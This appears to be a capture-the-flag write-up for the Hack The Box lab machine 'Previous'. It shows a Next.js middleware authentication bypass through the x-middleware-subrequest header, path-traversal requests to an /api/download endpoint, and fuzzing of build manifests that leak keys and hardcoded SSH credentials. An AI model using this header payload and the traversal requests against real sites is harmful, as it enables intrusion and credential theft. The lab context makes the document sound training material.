Previous (HTB)

Intro

Hello there, fellows another HTB machine, Let's jump right into it.

Enumeration.

Port scanning.

# Nmap 7.97 scan initiated Sun Aug 24 15:21:00 2025 as: nmap -vvv -p 22,80 -4 -Pn -sC -sV -vv -o nmap.scan 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up, received user-set (0.48s latency).
Scanned at 2025-08-24 15:21:03 +08 for 9s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 24 15:21:12 2025 -- 1 IP address (1 host up) scanned in 11.75 seconds

Classic .

Web server enumeration.

When we first enter the site the site does not contain anything anything we will do will redirect us to login page which we do not have access to. And using curl we can know that this site is running next js.

And guess what ?. couple weeks ago i read about Next js vulnerability which allow us to bypass this login form completely. And this things behind it is that there is a special header called x-middleware-subrequest when provided middle-ware value. It will completely bypass the middle-ware authentication and authorization and jump you to the desire endpoint. You can read more about it here.

Anyway. With that i added the following header to my request.

x-middleware-subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

And this enable me to bypass the authentication. Using dirsearch and feroxbuster i found some endpoints that we can take advantage of.

~/Documents/previous on   (us-west-2) took 15s
❯ feroxbuster -u 'http://previous.htb/' -H "x-middleware-subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://previous.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🤯  Header                │ x-middleware-subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l       66w     2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
308      GET        1l        1w        6c http://previous.htb/_next/ => http://previous.htb/_next
308      GET        1l        1w       13c http://previous.htb/_next/static/ => http://previous.htb/_next/static
308      GET        1l        1w       35c http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9/ => http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9
308      GET        1l        1w       26c http://previous.htb/_next/static/chunks/pages/ => http://previous.htb/_next/static/chunks/pages
308      GET        1l        1w       17c http://previous.htb/_next/static/css/ => http://previous.htb/_next/static/css
308      GET        1l        1w       12c http://previous.htb/application/ => http://previous.htb/application
308      GET        1l        1w       20c http://previous.htb/_next/static/chunks/ => http://previous.htb/_next/static/chunks
200      GET        1l        1w     1305c http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9/_buildManifest.js
200      GET        1l      283w     5101c http://previous.htb/_next/static/chunks/pages/index-a09f42904785092c.js
200      GET        1l       60w     3028c http://previous.htb/_next/static/chunks/webpack-cb370083d4f9953f.js
200      GET        1l        2w       77c http://previous.htb/_next/static/qVDR2cKpRgqCslEh-llk9/_ssgManifest.js
200      GET        1l      725w    33690c http://previous.htb/_next/static/chunks/pages/_app-95f33af851b6322a.js
200      GET        1l      250w    23885c http://previous.htb/_next/static/css/9a1ff1f4870b5a50.css
200      GET        1l     2125w   112594c http://previous.htb/_next/static/chunks/polyfills-42372ed130431b0a.js
200      GET        1l     2412w   119495c http://previous.htb/_next/static/chunks/main-0221d9991a31a63c.js
200      GET        1l     2734w   139924c http://previous.htb/_next/static/chunks/framework-ee17a4c43a44d3e2.js
200      GET        1l      407w     5493c http://previous.htb/
308      GET        1l        1w        5c http://previous.htb/docs/ => http://previous.htb/docs
200      GET        1l       91w     5893c http://previous.htb/_next/static/chunks/8-fd0c493a642e766e.js
200      GET        1l      124w     3663c http://previous.htb/_next/static/chunks/pages/docs-5f6acb8b3a59fb7f.js
200      GET        1l      217w     8862c http://previous.htb/_next/static/chunks/0-c54fcec2d27b858d.js
200      GET        1l       38w     1467c http://previous.htb/docs/examples
200      GET        1l       38w     1467c http://previous.htb/docs/getting-started
200      GET        1l      181w     3353c http://previous.htb/docs
200      GET        1l       38w     1467c http://previous.htb/docs/api-reference
200      GET        1l      136w     3480c http://previous.htb/_next/static/chunks/pages/signin-d0284ed11872b445.js
200      GET        1l      179w     3481c http://previous.htb/signin
[########>-----------] - 2m     13040/30027   2m      found:27      errors:1
[####################] - 5m     30027/30027   0s      found:27      errors:2
[####################] - 5m     30000/30000   94/s    http://previous.htb/

We can see that we have docs , getting_started and examples . These three endpoints are important. Using burpsuite i was able to inject this header into my requests to get what i want.

First let's take a look at getting_started.

Nothing...

LFI

moving to the next examples

Here i stopped for a bit. Because in my inital enumeration i came a across a endpoint which allow us to download it exist under /api/download

~/Documents/previous on   (us-west-2) took 1m29s
❯ feroxbuster -u 'http://previous.htb/api' -H "x-middleware-subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://previous.htb/api
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🤯  Header                │ x-middleware-subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l       66w     2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
400      GET        1l        2w       28c http://previous.htb/api/download
[####################] - 2m     30000/30000   0s      found:1       errors:0
[####################] - 2m     30000/30000   294/s   http://previous.htb/api/

I tried to access it but i got this error.

I tried every possible way to find the parameter that it take but i could not find it so here if i was able to access that page and inspect it. I could find what parameter that it takes and use that to our advantage.

Using burpsuite i was able to do that just open the browser, request the page, intercept the request, modifie the headers and forward the request. And the page should load inspect it and you should see this.

If the image is not clear the parameter name is example . So the first thing came to my mind was LFI. I maybe able to abuse this endpoint to access more files. Which is indeed the case here ;)

Cool right ?.

From here we can enumerate many things the first thing came to my mind is the .env file which sometime include secrets. And I found it.

So after a lot of enumeration i found the following.

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -X GET -u "http://previous.htb/api/download?example=../../../../../../../../../../../home/nextjs/FUZZ"  -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/download?example=../../../../../../../../../../../home/nextjs/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

[WARN] Caught keyboard interrupt (Ctrl-C)




~/Documents/previous on   (us-west-2)
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -X GET -u "http://previous.htb/api/download?example=../../.FUZZ"  -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/download?example=../../.FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

next                    [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 61ms]
env                     [Status: 200, Size: 49, Words: 1, Lines: 2, Duration: 41ms]
#www                    [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 55ms]
#mail                   [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 166ms]
#smtp                   [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 148ms]
[WARN] Caught keyboard interrupt (Ctrl-C)



~/Documents/previous on   (us-west-2) took 4m12s
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -X GET -u "http://previous.htb/api/download?example=../../FUZZ"  -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/download?example=../../FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

public                  [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 55ms]
pages                   [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 49ms]
#www                    [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 60ms]
#mail                   [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 129ms]
#smtp                   [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 213ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

we have few important files but the most important is .next as it include the artifcates of the build process which may give us some info about the implementation.

The above wordlist was not so helpful as it does not contains alot of javascript specic file names so i had to use another one.

Using this wordlist i was able to find the following.

❯ ffuf -w ~/Documents/previous/word -X GET -u "http://previous.htb/api/download?example=../../../../app/FUZZ"  -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/download?example=../../../../app/FUZZ
 :: Wordlist         : FUZZ: /home/groot/Documents/previous/word
 :: Header           : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

package.json            [Status: 200, Size: 587, Words: 106, Lines: 27, Duration: 52ms]
pages                   [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 336ms]
public                  [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 337ms]
node_modules            [Status: 500, Size: 21, Words: 3, Lines: 1, Duration: 210ms]
server.js               [Status: 200, Size: 6009, Words: 80, Lines: 38, Duration: 232ms]
.env                    [Status: 200, Size: 49, Words: 1, Lines: 2, Duration: 176ms]

Here we have .env which we already know about. But importantly server.js . Let's see what this file contains./

{
  "env": {},
  "eslint": {
    "ignoreDuringBuilds": false
  },
  "typescript": {
    "ignoreBuildErrors": false,
    "tsconfigPath": "tsconfig.json"
  },
  "distDir": "./.next",
  "cleanDistDir": true,
  "assetPrefix": "",
  "cacheMaxMemorySize": 52428800,
  "configOrigin": "next.config.mjs",
  "useFileSystemPublicRoutes": true,
  "generateEtags": true,
  "pageExtensions": [
    "js",
    "jsx",
    "md",
    "mdx",
    "ts",
    "tsx"
  ],
  "poweredByHeader": true,
  "compress": true,
  "images": {
    "deviceSizes": [
      640,
      750,
      828,
      1080,
      1200,
      1920,
      2048,
      3840
    ],
    "imageSizes": [
      16,
      32,
      48,
      64,
      96,
      128,
      256,
      384
    ],
    "path": "/_next/image",
    "loader": "default",
    "loaderFile": "",
    "domains": [],
    "disableStaticImages": false,
    "minimumCacheTTL": 60,
    "formats": [
      "image/webp"
    ],
    "dangerouslyAllowSVG": false,
    "contentSecurityPolicy": "script-src none; frame-src none; sandbox;",
    "contentDispositionType": "attachment",
    "remotePatterns": [],
    "unoptimized": false
  },
  "devIndicators": {
    "position": "bottom-left"
  },
  "onDemandEntries": {
    "maxInactiveAge": 60000,
    "pagesBufferLength": 5
  },
  "amp": {
    "canonicalBase": ""
  },
  "basePath": "",
  "sassOptions": {},
  "trailingSlash": false,
  "i18n": null,
  "productionBrowserSourceMaps": false,
  "excludeDefaultMomentLocales": true,
  "serverRuntimeConfig": {},
  "publicRuntimeConfig": {},
  "reactProductionProfiling": false,
  "reactStrictMode": null,
  "reactMaxHeadersLength": 6000,
  "httpAgentOptions": {
    "keepAlive": true
  },
  "logging": {},
  "expireTime": 31536000,
  "staticPageGenerationTimeout": 60,
  "output": "standalone",
  "modularizeImports": {
    "@mui/icons-material": {
      "transform": "@mui/icons-material/{{member}}"
    },
    "lodash": {
      "transform": "lodash/{{member}}"
    }
  },
  "outputFileTracingRoot": "/app",
  "experimental": {
    "allowedDevOrigins": [],
    "nodeMiddleware": false,
    "cacheLife": {
      "default": {
        "stale": 300,
        "revalidate": 900,
        "expire": 4294967294
      },
      "seconds": {
        "stale": 0,
        "revalidate": 1,
        "expire": 60
      },
      "minutes": {
        "stale": 300,
        "revalidate": 60,
        "expire": 3600
      },
      "hours": {
        "stale": 300,
        "revalidate": 3600,
        "expire": 86400
      },
      "days": {
        "stale": 300,
        "revalidate": 86400,
        "expire": 604800
      },
      "weeks": {
        "stale": 300,
        "revalidate": 604800,
        "expire": 2592000
      },
      "max": {
        "stale": 300,
        "revalidate": 2592000,
        "expire": 4294967294
      }
    },
    "cacheHandlers": {},
    "cssChunking": true,
    "multiZoneDraftMode": false,
    "appNavFailHandling": false,
    "prerenderEarlyExit": true,
    "serverMinification": true,
    "serverSourceMaps": false,
    "linkNoTouchStart": false,
    "caseSensitiveRoutes": false,
    "clientSegmentCache": false,
    "preloadEntriesOnStart": true,
    "clientRouterFilter": true,
    "clientRouterFilterRedirects": false,
    "fetchCacheKeyPrefix": "",
    "middlewarePrefetch": "flexible",
    "optimisticClientCache": true,
    "manualClientBasePath": false,
    "cpus": 1,
    "memoryBasedWorkersCount": false,
    "imgOptConcurrency": null,
    "imgOptTimeoutInSeconds": 7,
    "imgOptMaxInputPixels": 268402689,
    "imgOptSequentialRead": null,
    "isrFlushToDisk": true,
    "workerThreads": false,
    "optimizeCss": false,
    "nextScriptWorkers": false,
    "scrollRestoration": false,
    "externalDir": false,
    "disableOptimizedLoading": false,
    "gzipSize": true,
    "craCompat": false,
    "esmExternals": true,
    "fullySpecified": false,
    "swcTraceProfiling": false,
    "forceSwcTransforms": false,
    "largePageDataBytes": 128000,
    "turbo": {
      "root": "/app"
    },
    "typedRoutes": false,
    "typedEnv": false,
    "parallelServerCompiles": false,
    "parallelServerBuildTraces": false,
    "ppr": false,
    "authInterrupts": false,
    "webpackMemoryOptimizations": false,
    "optimizeServerReact": true,
    "useEarlyImport": false,
    "viewTransition": false,
    "staleTimes": {
      "dynamic": 0,
      "static": 300
    },
    "serverComponentsHmrCache": true,
    "staticGenerationMaxConcurrency": 8,
    "staticGenerationMinPagesPerWorker": 25,
    "dynamicIO": false,
    "inlineCss": false,
    "useCache": false,
    "optimizePackageImports": [
      "lucide-react",
      "date-fns",
      "lodash-es",
      "ramda",
      "antd",
      "react-bootstrap",
      "ahooks",
      "@ant-design/icons",
      "@headlessui/react",
      "@headlessui-float/react",
      "@heroicons/react/20/solid",
      "@heroicons/react/24/solid",
      "@heroicons/react/24/outline",
      "@visx/visx",
      "@tremor/react",
      "rxjs",
      "@mui/material",
      "@mui/icons-material",
      "recharts",
      "react-use",
      "effect",
      "@effect/schema",
      "@effect/platform",
      "@effect/platform-node",
      "@effect/platform-browser",
      "@effect/platform-bun",
      "@effect/sql",
      "@effect/sql-mssql",
      "@effect/sql-mysql2",
      "@effect/sql-pg",
      "@effect/sql-squlite-node",
      "@effect/sql-squlite-bun",
      "@effect/sql-squlite-wasm",
      "@effect/sql-squlite-react-native",
      "@effect/rpc",
      "@effect/rpc-http",
      "@effect/typeclass",
      "@effect/experimental",
      "@effect/opentelemetry",
      "@material-ui/core",
      "@material-ui/icons",
      "@tabler/icons-react",
      "mui-core",
      "react-icons/ai",
      "react-icons/bi",
      "react-icons/bs",
      "react-icons/cg",
      "react-icons/ci",
      "react-icons/di",
      "react-icons/fa",
      "react-icons/fa6",
      "react-icons/fc",
      "react-icons/fi",
      "react-icons/gi",
      "react-icons/go",
      "react-icons/gr",
      "react-icons/hi",
      "react-icons/hi2",
      "react-icons/im",
      "react-icons/io",
      "react-icons/io5",
      "react-icons/lia",
      "react-icons/lib",
      "react-icons/lu",
      "react-icons/md",
      "react-icons/pi",
      "react-icons/ri",
      "react-icons/rx",
      "react-icons/si",
      "react-icons/sl",
      "react-icons/tb",
      "react-icons/tfi",
      "react-icons/ti",
      "react-icons/vsc",
      "react-icons/wi"
    ],
    "trustHostHeader": false,
    "isExperimentalCompile": false
  },
  "htmlLimitedBots": "Mediapartners-Google|Slurp|DuckDuckBot|baiduspider|yandex|sogou|bitlybot|tumblr|vkShare|quora link preview|redditbot|ia_archiver|Bingbot|BingPreview|applebot|facebookexternalhit|facebookcatalog|Twitterbot|LinkedInBot|Slackbot|Discordbot|WhatsApp|SkypeUriPreview",
  "bundlePagesRouterDependencies": false,
  "configFileName": "next.config.mjs"
}

This json tells a lot but the most important we can note is distDir the destination for the after building results.

and also next.config.mjs which may help us if we are able to find it.

Now let's try to look for the manifest file . which include metadata about the files. Their format are quite simple but they are the most tricky to find. Take me a while to allocate where are they but you can find them at http://previous.htb/api/download?example=../../../../app/.next/server/FUZZ-manifest.json this is from FFUF . Anyway after fuzzing there you going to file these files.

❯ ffuf -w ~/Documents/previous/word -X GET -u "http://previous.htb/api/download?example=../../../../app/.next/server/FUZZ-manifest.json"  -H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/download?example=../../../../app/.next/server/FUZZ-manifest.json
 :: Wordlist         : FUZZ: /home/groot/Documents/previous/word
 :: Header           : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

pages                   [Status: 200, Size: 653, Words: 43, Lines: 16, Duration: 140ms]
middleware              [Status: 200, Size: 1089, Words: 234, Lines: 36, Duration: 207ms]
:: Progress: [25000/25000] :: Job [1/1] :: 205 req/sec :: Duration: [0:01:49] :: Errors: 0 ::

we have pages and middle ware let's check them

pages.

❯ curl   "http://previous.htb/api/download?example=../../../app/.next/server/pages-manifest.json"  -H "x-middleware-subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"



{
  "/_app": "pages/_app.js",
  "/_error": "pages/_error.js",
  "/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
  "/api/download": "pages/api/download.js",
  "/docs/[section]": "pages/docs/[section].html",
  "/docs/components/layout": "pages/docs/components/layout.html",
  "/docs/components/sidebar": "pages/docs/components/sidebar.html",
  "/docs/content/examples": "pages/docs/content/examples.html",
  "/docs/content/getting-started": "pages/docs/content/getting-started.html",
  "/docs": "pages/docs.html",
  "/": "pages/index.html",
  "/signin": "pages/signin.html",
  "/_document": "pages/_document.js",
  "/404": "pages/404.html"
}%

Here we can see the each route and the corresponding page that serve it. There is very important detail here we going to comeback to it after we look at the middleware

middle-ware.

❯ curl   "http://previous.htb/api/download?example=../../../app/.next/server/middleware-manifest.json"  -H "x-middleware-subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"



{
  "version": 3,
  "middleware": {
    "/": {
      "files": [
        "server/edge-runtime-webpack.js",
        "server/middleware.js"
      ],
      "name": "middleware",
      "page": "/",
      "matchers": [
        {
          "regexp": "^(?:\\/(_next\\/data\\/[^/]{1,}))?\\/docs(.*)(\\.json)?[\\/#\\?]?$",
          "originalSource": "/docs(.*)"
        },
        {
          "regexp": "^(?:\\/(_next\\/data\\/[^/]{1,}))?\\/api(.*)(\\.json)?[\\/#\\?]?$",
          "originalSource": "/api(.*)"
        }
      ],
      "wasm": [],
      "assets": [],
      "env": {
        "__NEXT_BUILD_ID": "qVDR2cKpRgqCslEh-llk9",
        "NEXT_SERVER_ACTIONS_ENCRYPTION_KEY": "lmAAapzJU+nklkAThiclUFPJCS5Q1pNXK9NQ/GTpUXo=",
        "__NEXT_PREVIEW_MODE_ID": "df9e8fb824e0b5417a0bf34c6595a56c",
        "__NEXT_PREVIEW_MODE_ENCRYPTION_KEY": "e08c73fd3f204203133f2f4282440af9f4b926dfad649b01fb440e2de61ff1c0",
        "__NEXT_PREVIEW_MODE_SIGNING_KEY": "5f5ca593a20b8504439b5e22760cf8d862a773025eb3db418355259dc0c2276f"
      }
    }
  },
  "functions": {},
  "sortedMiddleware": [
    "/"
  ]
}

A few imporant things keys and stuff but before we go any further in these keys let's check the value from the pages

Login as Jeremy

The pages manifest file shows next auth and the endpoint it uses.

 "/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",

Intresting so we can access that from the same .next folder we are in. but we need to some url encoding for [ ] we can use this to read its content

~/Documents/previous via  v24.5.0 on   (us-west-2)
❯ curl 'http://previous.htb/api/download?example=../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js' -H "x-middleware-subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"
"use strict";
(() => {
    var e = {};
    e.id = 651,
    e.ids = [651],
    e.modules = {
        3480: (e, n, r) => {
            e.exports = r(5600)
        },
        5600: e => {
            e.exports = require("next/dist/compiled/next-server/pages-api.runtime.prod.js")
        },
        6435: (e, n) => {
            Object.defineProperty(n, "M", {
                enumerable: !0,
                get: function () {
                    return function e(n, r) {
                        return r in n ? n[r] :
                            "then" in n && "function" == typeof n.then ? n.then(n => e(n, r)) :
                            "function" == typeof n && "default" === r ? n :
                            void 0
                    }
                }
            })
        },
        8667: (e, n) => {
            Object.defineProperty(n, "A", {
                enumerable: !0,
                get: function () {
                    return r
                }
            });
            var r = function (e) {
                return e.PAGES = "PAGES",
                    e.PAGES_API = "PAGES_API",
                    e.APP_PAGE = "APP_PAGE",
                    e.APP_ROUTE = "APP_ROUTE",
                    e.IMAGE = "IMAGE",
                    e
            }({})
        },
        9832: (e, n, r) => {
            r.r(n),
            r.d(n, {
                config: () => l,
                default: () => P,
                routeModule: () => A
            });
            var t = {};
            r.r(t),
            r.d(t, {
                default: () => p
            });
            var a = r(3480),
                s = r(8667),
                i = r(6435);
            let u = require("next-auth/providers/credentials"),
                o = {
                    session: {
                        strategy: "jwt"
                    },
                    providers: [r.n(u)()({
                        name: "Credentials",
                        credentials: {
                            username: {
                                label: "User",
                                type: "username"
                            },
                            password: {
                                label: "Password",
                                type: "password"
                            }
                        },
                        authorize: async e => e?.username === "jeremy" &&
                            e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes") ?
                            {
                                id: "1",
                                name: "Jeremy"
                            } : null
                    })],
                    pages: {
                        signIn: "/signin"
                    },
                    secret: process.env.NEXTAUTH_SECRET
                },
                d = require("next-auth"),
                p = r.n(d)()(o),
                P = (0, i.M)(t, "default"),
                l = (0, i.M)(t, "config"),
                A = new a.PagesAPIRouteModule({
                    definition: {
                        kind: s.A.PAGES_API,
                        page: "/api/auth/[...nextauth]",
                        pathname: "/api/auth/[...nextauth]",
                        bundlePath: "",
                        filename: ""
                    },
                    userland: t
                })
        }
    };
    var n = require("../../../webpack-api-runtime.js");
    n.C(e);
    var r = n(n.s = 9832);
    module.exports = r
})();

This is it in better format. So... we got the creds RIGHT?? let's ssh.

And we have it ;). Man this was so tough.


MyNameIsJeremyAndILovePancakes
jeremy

Last updated